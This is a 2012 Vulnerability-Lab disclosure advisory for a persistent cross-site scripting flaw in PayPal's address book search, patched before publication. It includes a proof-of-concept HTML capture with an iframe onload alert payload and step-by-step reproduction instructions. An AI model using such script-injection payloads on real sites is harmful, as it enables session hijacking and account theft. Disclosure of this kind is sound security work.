PayPal Cross Site Scripting

`Title:  
======  
Paypal Core Bug Bounty #3 - Persistent Web Vulnerability  
  
  
Date:  
=====  
2012-12-12  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=635  
  
  
VL-ID:  
=====  
635  
  
  
Common Vulnerability Scoring System:  
====================================  
4  
  
  
Introduction:  
=============  
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money   
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,   
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some   
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined   
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified   
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy   
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your   
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a   
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary   
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.  
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request   
a transfer to their bank account.  
  
PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it   
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency   
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account   
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.  
  
On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United   
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale,   
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across   
Europe, PayPal also operates as a Luxembourg-based bank.  
  
On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers   
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.  
Between December 4–9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation   
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.  
  
(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered persistent web vulnerability in the official Paypal (core) ecommerce website content management system.  
  
  
Report-Timeline:  
================  
2012-06-30: Researcher Notification & Coordination  
2012-06-30: Vendor Notification  
2012-07-02: Vendor Response/Feedback 1  
2012-10-08: Vendor Response/Feedback 2  
2012-12-11: Vendor Fix/Patch  
2012-12-12: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Affected Products:  
==================  
Paypal - Core Application [2012 Q2-3]  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
A persistent input validation vulnerability is detected in the official Paypal (core) ecommerce website content management system.  
The bug allows remote attackers to implement/inject own malicious script code on the application side (persistent).  
  
The persistent input validation vulnerability is located in the Adressbuch module with the bound vulnerable search function   
when processing to request script code tags as `Addressbuch` contacts. The code will be executed out of the search result   
listing web context. Remote exploitation requires low user interaction and a privileged paypal banking application user account.   
  
Successful exploitation of the vulnerability results in persistent session hijacking (admin), account steal via persistent phishing or   
persistent search module web context manipulation.  
  
Vulnerable Module(s):  
[+] Adressbuch > Search > Benutzer/Kontakt  
  
Vulnerable Parameter(s):  
[+] search_str - Results  
  
Affected Section(s):  
[+] Results - Index (Listing)  
  
  
Proof of Concept:  
=================  
The persistent vulnerability can be exploited by remote attackers with privileged paypal user account and low required user interaction.  
For demonstration or reproduce ...  
  
PoC: [Existing Listing] (Index) Adressbuch > Search > Benutzer/Kontakt > results  
  
<form sourceindex="5" method="post" name="searchContact" action="https://www.paypal.com/de/cgi-bin/webscr?  
SESSION=4b304_obgVN3fxg6LFp08F6lUBD7aWq0HG3SWv5HSmrKxR_xRzWrZOtwRDq&  
dispatch=5885d80a13c0db1f8e263663d3faee8d8494db97  
03d295b4a2116480ee01a05c" class=""><input name="cmd" value="_flow" type="hidden"><input id="baseUrl" name="baseUrl"   
value="www.paypal.com/de" type="hidden"><input id="selectLabel" name="selectLabel" value="" type="hidden"><input id="currentid"   
name="current_id" value="0" type="hidden"><input id="CONTEXT_CGI_VAR" name="CONTEXT" value="X3-7SZn2ExXucINxlliZ_05NdFsrIIpaV9TcRYNLL  
_GiOwm9XgEZzWKQeV0" type="hidden"><div class="searchMainDiv"><fieldset id="searchBy"><legend class="accessAid">Suchen</legend><span   
class="floatLeft"><label for="search_str"><strong>Suchen</strong></label><input sourceindex="6" autocomplete="off" id="search_str"   
name="search_str" value=""><[PERSISTENT SCRIPT CODE INJECTION] <" type="text"><input sourceindex="7"   
name="searchGo.x" value="Los" class="button elemAjax" type="submit"></span><span><input sourceindex="8" name="addContact.x"   
value="Neuen Kontakt hinzufügen" class="button floatRight" type="submit"></span></fieldset></div><div class="floatLeft"   
id="resultPanel"><div id="resultDiv"><div id="leftSide"><ul id="val"><li class="rowLeft oddRow focus" id="L1">  
<span class="results">"><[PERSISTENT SCRIPT CODE INJECTION]"…</span'><span  
class='viewEditLink   
show'></span></li></ul></div><div   
id='rightSideDiv' class='withBorder' tabindex='0'><div class='view  
show'><h3>"><[PERSISTENT SCRIPT CODE INJECTION] <("</h3><div class='links'> <span   
class='buttonAsLink'><input type='submit'   
name='editCID-T22A-J6G3-GZBY-SHK8.x' value='Bearbeiten'></span>  
| <span class='buttonAsLink'><input type='submit' id='delete'   
name='deleteCID-T22A-J6G3-GZBY-SHK8.x' value='Löschen'   
class='deleteButton'></span></span></div><div   
class='info'><span class='address'>"><iframe src=a   
onload=alert(" "><iframe src=a onload=alert("</span><span  
class='address'>"><[PERSISTENT SCRIPT CODE INJECTION] <")   
<</span><span   
class='address'>[email protected]</span><span   
class='address'>Deutschland</span></div><div   
class='info'><span class='address   
heading'>Zusatzinformationen</span><span   
class='address'>"><[PERSISTENT SCRIPT CODE INJECTION] <")   
<</span></div><div class='info'><span   
class='address heading'>Rechnungsadresse</span><span   
class='address'>"><[PERSISTENT SCRIPT CODE INJECTION] <")   
<<br>Deutschland</span></div></div></div></div></iframe></span></li>  
</ul></div></div></div><input name="auth" value="M8_dK6Q4HG9oPBKoZ_4I6YQ6TWdaI00OnfMkOwWXQ6pOZjZRca8TSAO38hIC585zYBbTFKQz1Qg7UOte0VbD_ah-  
dzZjkiuSC-unZSf6mNBym71XfmcQvdV0WPwOUivermg9_ZZWTQH7yV9OG-bLLIzxH3ZFUJHX0uQzwZ-4v65aKp5013-712a  
00pnY9m2cURtoC02BRhB_kOkuODdR5I6pS_NXG5ZmIMgnrJhkSgYl09piAB0icMRkReu" type="hidden">  
<input name="form_charset" value="UTF-8" type="hidden"></form>  
  
  
Note:  
  
The name with the code was saved in the addressbook. Only the matching and successful result leads to the persistent execution of the web context.  
When the other user is searching the existing account of the addressbook the code will be executed persistent out of the matching search result   
web context listing. If you do not know this it will be a bit harder to reproduce. The bug is 100% existing because the screenshots show it   
and also the poc. I found the issue by manually exploitation over the different application layers and function. Maybe i guessed to implement   
this details to the submission. The requested code with the malicious persistent code can be reviewed in the attached poc document.  
  
  
Manually reproduce ...  
  
1. Go to the addressbook and switch to add a new contact to adressbook  
2. Include script code (html/js) as username to the addressbook and save the context   
2. Now, switch to the user search (addressbook) module (other layer) & click the user contact search to activate  
3. Include the exact name of the username (script code (html/js)) from the addressbook and press the search button  
4. The context of the other layer from the addressbook will be executed directly out of the results listing page of the exisiting user contacts  
5. Done! POST REQUEST: method="post" name="searchContact"  
  
  
Solution:  
=========  
The vulnerability can be patched by parsing the addressbook search results module with the bound vulnerability matching account listing.  
  
  
Risk:  
=====  
The security risk of the persistent script code inject vulnerability is estimated as medium(+).  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases   
or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register  
Contact: [email protected] - [email protected] - [email protected]  
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other   
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and   
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),   
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.  
  
Copyright © 2012 | Vulnerability Laboratory  
  
  
  
--   
VULNERABILITY RESEARCH LABORATORY  
LABORATORY RESEARCH TEAM  
CONTACT: [email protected]  
  
`